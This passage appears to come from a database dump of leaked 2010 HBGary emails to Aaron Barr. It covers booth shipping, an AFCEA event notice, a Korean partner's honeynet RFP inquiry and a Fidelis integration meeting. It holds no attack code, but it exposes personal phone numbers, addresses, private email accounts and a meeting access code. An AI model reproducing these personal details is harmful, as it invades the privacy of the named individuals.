hbgary responder\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGoogle Web\r\nAlert for: hbgary responder\r\n\r\n\r\n \r\n  \r\n  responder\r\n  - responder lightbar - vista network lltd responder ...\r\n  responder rci raman kentucky ems first responder training first responder\r\n  teaching plan 50.5x responder battery change responder hbgary\r\n  dump ...\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n This\r\nonce a day Google Alert is brought to you by Google.\r\n\r\nRemove\r\nthis alert. \r\nCreate\r\nanother alert. \r\nManage\r\nyour alerts. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11163,'aaron_hbgary_com/11163.html'),(5021,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003218.M889064P3547Q5021.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Ship to Address for Booth','How fast do you want me to ship?AaronFrom my iPhoneOn Apr 6, 2010, at 1:10 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nCould you please ship the booth to the following address:\r\n\r\n \r\n\r\nPlease\r\nship the frame to the following address:\r\n\r\n \r\n\r\nAdvatum\r\nPrint House\r\n\r\nAttention:\r\nDan Stefl / PO# 5414-000\r\n\r\n1540\r\nFencorp\r\n\r\nFenton,\r\nMO 63026\r\n\r\n \r\n\r\nI will need a tracking number when it is shipped so they\r\nknow when to expect it.\r\n\r\n \r\n\r\nThanks\r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4879,'aaron_hbgary_com/4879.html'),(5022,'2010-04-07','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297003219.M110507P3547Q5022.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ship to Address for Booth','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nIf we could have it there in about 5 days, that would be great.&nbsp;\r\nCould you please get a tracking number or proof of delivery information?\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 07, 2010 1:07 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: Ship to Address for Booth\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow fast do you want me to ship?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 6, 2010, at 1:10 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCould\r\nyou please ship the booth to the following address:\r\n\r\n&nbsp;\r\n\r\nPlease ship the frame\r\nto the following address:\r\n\r\n&nbsp;\r\n\r\nAdvatum Print House\r\n\r\nAttention: Dan Stefl\r\n/ PO# 5414-000\r\n\r\n1540 Fencorp\r\n\r\nFenton, MO 63026\r\n\r\n&nbsp;\r\n\r\nI\r\nwill need a tracking number when it is shipped so they know when to expect it.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13894,'aaron_hbgary_com/13894.html'),(5023,'2010-04-07','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297003219.M294042P3547Q5023.eml','aaron@hbgary.com','AFCEA Quantico-Potomac Chapter USMC IT Day - April 27','\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n\r\nAFCEANS!		\r\n		\r\n		\r\nThe Quantico-Potomac AFCEA Chapter announces the first US Marine Corps IT Day.  The event is a full day of important information and will allow a dialogue through question and answer periods following each presentation. \r\n \r\nHighlights will include a senior operator\'s view of IT on the battlefield along with discussion centering on how industry can interface with Marine Corps Systems Command.  Please go to our web site http://www.afcea-qp.org/usmc-it-day/ for all the details.  Sponsorships are still available, and seating is rapidly being filled.  There will be a fair amount of USMC IT leadership representation at this event due to the General Officer Symposium going on that week. Register now!\r\n\r\n\r\nAFCEA Quantico-Potomac\r\nUSMC IT Day\r\n \r\n\r\n\r\n	\r\n		The 1st Annual AFCEA Quantico-Potomac\r\n		\r\n	\r\n\r\n\r\nUSMC IT Day\r\nRole of the Marine Corps in a Green and Changing Security IT Environment\r\n\r\n\r\nApril 27, 2010 – 8am-5pm\r\nClubs at Quantico, Quantico, Virginia\r\n\r\n\r\n\r\nWith Keynotes presentations from Major General George Allen, USMC Director C4/Chief Information Officer.  Highlights will include a morning reviewing operational requirements in support of Information Technology, followed by an afternoon focused on Acquisition in support of US Marine Corps requirements.\r\n\r\n\r\n\r\nRegister for USMC IT Day\r\n\r\nAgenda:\r\n\r\n\r\n\r\nThe day will begin with a Continental Breakfast during registration, a keynote speaker-luncheon, and will wrap up with an industry mixer rounding out the day.  This event will provide a unique opportunity to engage with IT leaders of the Marine Corps and to further business associations with industry and government.  There are opportunities for sponsorship as well to help support scholarship opportunities of deserving men and women within Quantico and the surrounding area.\r\n\r\nAttendee\'s will receive a Signal Magazine insert entitled \"Focus on USMC IT\" that highlights USMC IT and provides general point of contact information for all major USMC IT organizations.  The Quantico-Potomac AFCEA Chapter with support of the USMC CIO is proud to offer this opportunity and encourages organizations that support the Marine Corps to consider attending a full day focused on supporting the Marine Corps customer.\r\n\r\n\r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org		\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1430,'aaron_hbgary_com/1430.html'),(5024,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003219.M471378P3547Q5024.eml','\"Aaron Barr\" <adbarr@mac.com>','','Brad Buhr\r\n7033108765\r\nIomaxis\r\n\r\n From my iPhone\r\n',817,'aaron_hbgary_com/817.html'),(5025,'2010-04-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003219.M784955P3547Q5025.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: [Softwide] Deal and SI project requesting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you see this?&nbsp; Customer is at bottom.&nbsp; Maria, you should\r\nupdate him&nbsp; as to our products and who buys them here and Aaron will\r\nquarterback the consulting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Lee\r\n[mailto:jason@softwidesec.com] \r\nSent: Tuesday, April 06, 2010 11:16 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Maria Lucas\'\r\nCc: \'Phil Wallisch\'; \'Aaron Barr\'\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi.. Penny.. \r\n\r\n&nbsp;\r\n\r\nThanks for your e-mail&#8230;\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nglad to have a chance to communicate with you, Aaron, Phil and Maria. \r\n\r\n&nbsp;\r\n\r\nAs I told Maria and\r\nPhil, your company and product FastDump has a really good reputation in Korea. \r\n\r\n&nbsp;\r\n\r\nI wish to have a chance\r\nto drive your biz in here also. \r\n\r\n&nbsp;\r\n\r\nBecause our company\r\nSoftwide Security and Softwide&amp;Company which is a mother company of\r\nSoftwide Security, are very well known in VM, RM, PT market in Korea and\r\nSecurity SI. \r\n\r\nAlso, we have a\r\nsecurity focused training center and it is quite well known in Korea. \r\n\r\n&nbsp;\r\n\r\nIf possible, I wish to\r\ndiscuss more about various biz opportunities in Korea for sales, consulting,\r\ntraining etc. \r\n\r\n&nbsp;\r\n\r\nRegarding the\r\ngovernment project, I wished to prepare something you can really do very well\r\nfor their demand for their own RFP.&nbsp; \r\n\r\nFor the Militaries, it\r\nwas a just software purchasing and if your product is suited on their demand, I\r\ncan deliver your product to military customer this month. \r\n\r\n&nbsp;\r\n\r\nOne RFP is release for\r\nthe bid and there mentioned time frame I will update you the exact project\r\ntimelines. \r\n\r\n&nbsp;\r\n\r\nHere is the name of\r\ncustomer, Cyber Threat Analysis Team // National Computing &amp; Information\r\nAgency\r\n\r\n&nbsp;\r\n\r\nPenny.. I will contact\r\nAaron as you advise. \r\n\r\n&nbsp;\r\n\r\nThanks ..\r\n\r\n&nbsp;\r\n\r\nBest regards \r\n\r\n&nbsp;\r\n\r\nJason \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, April 07, 2010 4:28 AM\r\nTo: \'Jason Lee\'; \'Maria Lucas\'\r\nCc: \'Phil Wallisch\'; \'Aaron Barr\'\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Jason,\r\n\r\n&nbsp;\r\n\r\nI am the President of HBGary.&nbsp; I am copying Aaron Barr, he\r\nis the CEO of HBGary Federal our consulting arm.&nbsp; We are certainly\r\ninterested in the project, but as Phil previously mentioned, we are more in the\r\nmalware detection space.&nbsp; We do have technologies in the network area, but\r\nnot necessarily what you are looking for, although our DDNA and malware\r\nprocessor are in line with your needs.&nbsp; More than likely we&#8217;d need to\r\npurchase a network device and then do custom work to link all the pieces\r\ntogether.&nbsp; This is not a problem for us.&nbsp; That said, we&#8217;d need to\r\nknow more about the project in order to bid it, timeframe, end user customers\r\nname/business, timeframe to start etc.&nbsp; Aaron can certainly answer many of\r\nthese questions.&nbsp; His phone number is 916-459-4727 ext 117 .&nbsp; He&#8217;s in\r\nWashington DC.&nbsp; His cell is 719-510-8478.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Lee\r\n[mailto:jason@softwidesec.com] \r\nSent: Monday, April 05, 2010 4:03 AM\r\nTo: \'Maria Lucas\'\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi.. Maria.. \r\n\r\n&nbsp;\r\n\r\nThanks for your reply\r\nand sorry about my late response because I have been busy during days. \r\n\r\nI had been met many\r\ncustomers in Korea and some from Government Agency, some from Security SI and\r\nsome from commercial market. \r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nglad to hear that you and your team interesting about what project to build. \r\n\r\n&nbsp;\r\n\r\nI wish to hear you the\r\nanswer to share this project today. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned that we\r\nneed a partner who have done or have many experience to do this kind of project\r\nand as I told you that I&#8217;m pretty sure that you and your\r\nteam already had done and have good reputation in Market. \r\n\r\n&nbsp;\r\n\r\nThere is no requirement\r\ndocumentation yet, as I told you that we have to prepare that document but we\r\nare running out of time since the RFP should be done middle of this week. \r\n\r\n&nbsp;\r\n\r\nThere is a minimum\r\nrequirement from customer as below:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to build any sort of field\r\nto collect traffic or packet or activities and files from net and I expected\r\nthat it will be a honey net or capture the whole traffic from net transaction. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to pick any sort of\r\nmalicious activities, files and packet from that captured traffic or Honey-net.\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey want to analyze the packets, files, activities and traffic\r\nto find or aim that this is real malicious things from net. \r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo analysis those traffic, packets, files and activities, they\r\nmight need your solutions, and even your experience; how to analysis those\r\nmalicious things effectively.\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFrom the earned information to picked and aimed, they want to\r\nsystemize the processes to collect, analyze and categorize malicious activities\r\nand so on.. \r\n\r\n&nbsp;\r\n\r\nThose are the minimum\r\nrequirement from customer and actually, I just have a concept to build;\r\nhowever, I don&#8217;t have experience build in real. \r\n\r\nThat is the reason why\r\nI need you and your team Maria. \r\n\r\n&nbsp;\r\n\r\nAs I requested before,\r\nI wish to get answer for what I asked you last time. \r\n\r\nAlso, I wish to get\r\nyour suggestion to hand over requirement to do this project, anything to help\r\nto keep this project is ours. \r\n\r\nAnd if you can, please\r\nbriefly let us know how you can do this. \r\n\r\n&nbsp;\r\n\r\nI wish get your answer\r\nfor this today, if possible. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned above,\r\nit is running out of time and we just have one or two day to hold to fix the\r\nRFP from customer. \r\n\r\nIf you can help us,\r\nyour guide and requirement become customer&#8217;s demand and we\r\ncan get the project to drive. \r\n\r\n&nbsp;\r\n\r\nPlease answer me today\r\nthrough email and call. \r\n\r\n&nbsp;\r\n\r\nI will wait for your\r\nanswer both communication way. \r\n\r\n&nbsp;\r\n\r\nHave a good day.. and\r\nbe well.. \r\n\r\n&nbsp;\r\n\r\nBest regards \r\n\r\n&nbsp;\r\n\r\nJason &nbsp;\r\n\r\n&nbsp;\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 01, 2010 4:16 AM\r\nTo: Jason Lee\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: Re: [Softwide] Deal and SI project requesting\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHello Jason\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am going to refer your questions to Phil Wallisch -- a\r\nlead security engineer at HBGary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhil is currently on vacation but will be available next\r\nweek to respond to your request --&nbsp;this sounds very interesting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have a requirements document that you can send to us\r\nfor review?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Mar 31, 2010 at 9:04 AM, Jason Lee &lt;jason@softwidesec.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi..\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nJason Lee from Softwide Security. \r\n\r\n&nbsp;\r\n\r\nIt\r\nis first time contact you, but I wish that you can help us to support our\r\nproject and deal. \r\n\r\n&nbsp;\r\n\r\nHere\r\nI have something to discuss and get an answer for your support. \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nOur biggest customer want to have a project to build a honey net to\r\ncapture traffic to collect and analyze malicious packet, file, attack &#8230;\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor this project, I believe they might need to purchase your product to\r\nanalyze captured traffic, files and activities. \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey also want to build a honey-net with professional people who have\r\ndone this before. \r\n\r\n&nbsp;\r\n\r\nI\r\nbelieve that you might interesting about this project since your CTO have done\r\nmany reverse, analyzing work for Malicious file and other. \r\n\r\n&nbsp;\r\n\r\nI\r\nwould like to hear from you:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nDo you and your team want to do this project with us?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nActually, I wish you take this case to do this project since it is a\r\nreally good chance to have a good relationship with most biggest Korean\r\nCustomer.\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI believe that you and your team already have done this kind of project\r\nfor your government there. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf you can want to do this project, can you estimate the size of project\r\ncost and how long does it take and how many of you and your team come to Korea?\r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou can put the period as you really need to put\r\n\r\nB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou should estimate the number of people what who can support to finish\r\nthis project\r\n\r\nC.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou have to give us the exact cost for whole project including\r\naccommodation in Korea.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nIf possible, I wish to talk through phone line to discuss about this\r\nproject. \r\n\r\nA.&nbsp;&nbsp;&nbsp;&nbsp;\r\nI called your represent phone number this morning, but no one get answer\r\n;(, please..\r\n\r\n&nbsp;\r\n\r\nThere\r\nis a good news that we can create RFP for this project then, feel free to tell\r\nme what necessary things that I have to put for this project.\r\n\r\n&nbsp;\r\n\r\nI\r\nwish to hear from you ASAP.\r\n\r\n&nbsp;\r\n\r\nHave\r\na good day.. and be well.. \r\n\r\n&nbsp;\r\n\r\nBest\r\nregards \r\n\r\n&nbsp;\r\n\r\nJason\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nJason Lee\r\n\r\nC.T.O. / Senior Consultant \r\n\r\n\r\n\r\nSoftwide Security, Inc.\r\n\r\n5th LV, HakDong Building\r\n\r\n81-5, NonHyund-Dong, \r\n\r\nGanNam-Gu, SEOUL\r\n\r\nRepublic of Korea\r\n\r\nZIP 135-010\r\n\r\nMobile: +82 17 659 1906\r\n\r\nOffice: + 82 2 6052 5700\r\n\r\nFax: + 82 3665 3519\r\n\r\nIM: jaisonyi@hotmail.com(MSN, NATE, SkyPE)\r\n\r\nAlter E-mail: jaisonyi@gmail.com \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16541,'aaron_hbgary_com/16541.html'),(5026,'2010-04-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003220.M215989P3547Q5027.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\nRE: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration\r\nOpportunities\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure if you saw this\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Tuesday, April 06, 2010 8:03 PM\r\nTo: Penny Leavy-Hoglund; Aaron Barr; Rich Cummings; greg@hbgary.com;\r\nSavchuk, Gene; Mancini, Jerry; Bertone, Kurt\r\nSubject: RE: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration\r\nOpportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve attached\r\nmy latest draft of an integration guide for our two solutions.&nbsp; This is\r\njust my thoughts from our conversations, and likely has more integration than is required to get started and could be\r\nmissing other impactful areas that we haven&#8217;t yet discussed&#8212;so feedback would\r\nbe greatly\r\nappreciated.\r\n\r\nAs we have a\r\nnumber of people on the call from Fidelis who haven&#8217;t seen a demo of the HB\r\nGary solutions, I&#8217;m hoping we can do that on Friday early in the call.&nbsp; We&#8217;d\r\nalso be happy to do a demo for Rich as I&#8217;m not sure he has seen the Fidelis XPS\r\nsolutions either.&nbsp; (Rich &#8211; if you&#8217;d like to meet us in Bethesda or get on a call before hand,\r\nI&#8217;d be happy to do a more detailed demo and technical discussion before the\r\nmeeting too!)\r\n\r\nDavid\r\n\r\n&lt;&lt;Fidelis\r\nXPS and HB Gary Integration v1_2.docx&gt;&gt; \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Etue, David\r\nSent: Tuesday, April 06, 2010 8:49 PM\r\nTo: Penny Leavy-Hoglund; Aaron Barr; Rich Cummings; \'greg@hbgary.com\';\r\nSavchuk, Gene; Mancini, Jerry\r\nSubject: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration\r\nOpportunities\r\nWhen: Friday, April 09, 2010 1:00 PM-2:30 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: 312-878-0202, Access Code 171-602-721 (webmeeting included)\r\n\r\nPenny had sent the original\r\nmeeting request &#8211; just sending a second one with a dial in bridge and webinar\r\nlink.&nbsp; Looking forward to talking on Friday.\r\n\r\nBTW &#8211; for any of the local\r\nDC area folks, please let me know if you&#8217;d like to join us at Fidelis in\r\nBethesda - http://www.fidelissecurity.com/data-leakage-protection-contact/directions\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n1.&nbsp; Please join my\r\nmeeting.\r\n\r\nhttps://www1.gotomeeting.com/join/171602721\r\n\r\n2.&nbsp; Use your\r\nmicrophone and speakers (VoIP) - a headset is recommended.&nbsp; Or, call in\r\nusing your telephone.\r\n\r\nDial 312-878-0202\r\n\r\nAccess Code: 171-602-721\r\n\r\nAudio PIN: Shown after\r\njoining the meeting\r\n\r\nMeeting ID: 171-602-721\r\n\r\nGoToMeeting&reg; \r\n\r\nOnline Meetings Made Easy&#8482;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13365,'aaron_hbgary_com/13365.html'),(5027,'2010-04-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003220.M3634P3547Q5026.eml','\"Jason Lee\" <jason@softwidesec.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Jason Lee\" <jason@softwidesec.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: [Softwide] Deal and SI project requesting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Jason,\r\n\r\n&nbsp;\r\n\r\nAaron will be able to help you on the consulting side of the\r\nhouse.&nbsp; Maria is still point person for products.&nbsp; HBGary does do custom work\r\non our products as well \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Lee\r\n[mailto:jason@softwidesec.com] \r\nSent: Tuesday, April 06, 2010 11:16 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Maria Lucas\'\r\nCc: \'Phil Wallisch\'; \'Aaron Barr\'\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi.. Penny.. \r\n\r\n&nbsp;\r\n\r\nThanks for your e-mail&#8230;\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nglad to have a chance to communicate with you, Aaron, Phil and Maria. \r\n\r\n&nbsp;\r\n\r\nAs I told Maria and\r\nPhil, your company and product FastDump has a really good reputation in Korea. \r\n\r\n&nbsp;\r\n\r\nI wish to have a chance\r\nto drive your biz in here also. \r\n\r\n&nbsp;\r\n\r\nBecause our company\r\nSoftwide Security and Softwide&amp;Company which is a mother company of\r\nSoftwide Security, are very well known in VM, RM, PT market in Korea and\r\nSecurity SI. \r\n\r\nAlso, we have a\r\nsecurity focused training center and it is quite well known in Korea. \r\n\r\n&nbsp;\r\n\r\nIf possible, I wish to\r\ndiscuss more about various biz opportunities in Korea for sales, consulting,\r\ntraining etc. \r\n\r\n&nbsp;\r\n\r\nRegarding the\r\ngovernment project, I wished to prepare something you can really do very well\r\nfor their demand for their own RFP.&nbsp; \r\n\r\nFor the Militaries, it\r\nwas a just software purchasing and if your product is suited on their demand, I\r\ncan deliver your product to military customer this month. \r\n\r\n&nbsp;\r\n\r\nOne RFP is release for\r\nthe bid and there mentioned time frame I will update you the exact project\r\ntimelines. \r\n\r\n&nbsp;\r\n\r\nHere is the name of\r\ncustomer, Cyber Threat Analysis Team // National Computing &amp; Information\r\nAgency\r\n\r\n&nbsp;\r\n\r\nPenny.. I will contact\r\nAaron as you advise. \r\n\r\n&nbsp;\r\n\r\nThanks ..\r\n\r\n&nbsp;\r\n\r\nBest regards \r\n\r\n&nbsp;\r\n\r\nJason \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, April 07, 2010 4:28 AM\r\nTo: \'Jason Lee\'; \'Maria Lucas\'\r\nCc: \'Phil Wallisch\'; \'Aaron Barr\'\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Jason,\r\n\r\n&nbsp;\r\n\r\nI am the President of HBGary.&nbsp; I am copying Aaron Barr, he\r\nis the CEO of HBGary Federal our consulting arm.&nbsp; We are certainly\r\ninterested in the project, but as Phil previously mentioned, we are more in the\r\nmalware detection space.&nbsp; We do have technologies in the network area, but\r\nnot necessarily what you are looking for, although our DDNA and malware\r\nprocessor are in line with your needs.&nbsp; More than likely we&#8217;d need to\r\npurchase a network device and then do custom work to link all the pieces\r\ntogether.&nbsp; This is not a problem for us.&nbsp; That said, we&#8217;d need to\r\nknow more about the project in order to bid it, timeframe, end user customers\r\nname/business, timeframe to start etc.&nbsp; Aaron can certainly answer many of\r\nthese questions.&nbsp; His phone number is 916-459-4727 ext 117 .&nbsp; He&#8217;s in\r\nWashington DC.&nbsp; His cell is 719-510-8478.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jason Lee\r\n[mailto:jason@softwidesec.com] \r\nSent: Monday, April 05, 2010 4:03 AM\r\nTo: \'Maria Lucas\'\r\nCc: sales@hbgary.com; bob@hbgary.com\r\nSubject: RE: [Softwide] Deal and SI project requesting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi.. Maria.. \r\n\r\n&nbsp;\r\n\r\nThanks for your reply\r\nand sorry about my late response because I have been busy during days. \r\n\r\nI had been met many\r\ncustomers in Korea and some from Government Agency, some from Security SI and\r\nsome from commercial market. \r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nglad to hear that you and your team interesting about what project to build. \r\n\r\n&nbsp;\r\n\r\nI wish to hear you the\r\nanswer to share this project today. \r\n\r\n&nbsp;\r\n\r\nAs I mentioned that we\r\nneed a partner who have done or have many experience to do this kind of project\r\nand as I told you that I&#8217;m pretty sure that you and your\r\nteam already had done and have good reputation in Market. \r\n\r\n&nbsp;\r\n\r\nThere is no requirement\r\ndocumentation yet, as I told you that we have to prepare that document but we\r\nare running out of time since the RFP should be done middle of this week. \r\n\r\n&nbsp;\r\n\r\nThere is a minimum\r\nrequirement from customer as below:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to build any sort of field\r\nto collect traffic or packet or activities and files from net and I expected\r\nthat it will be a honey net or capture the whole traffic from net transaction. \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe Cyber Threat Analysis team want to pick any sort of\r\nmalicious activities, files and packet from that captured traffic or Honey-net.\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nThey want to analyze the packets, files, activities and traffic\r\nto find or aim that this is real malicious things from net. \r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo analysis those traffic, packets, files and activities, they\r\nmight need your solutions, and even your experience; how to analysis those\r\nmalicious things 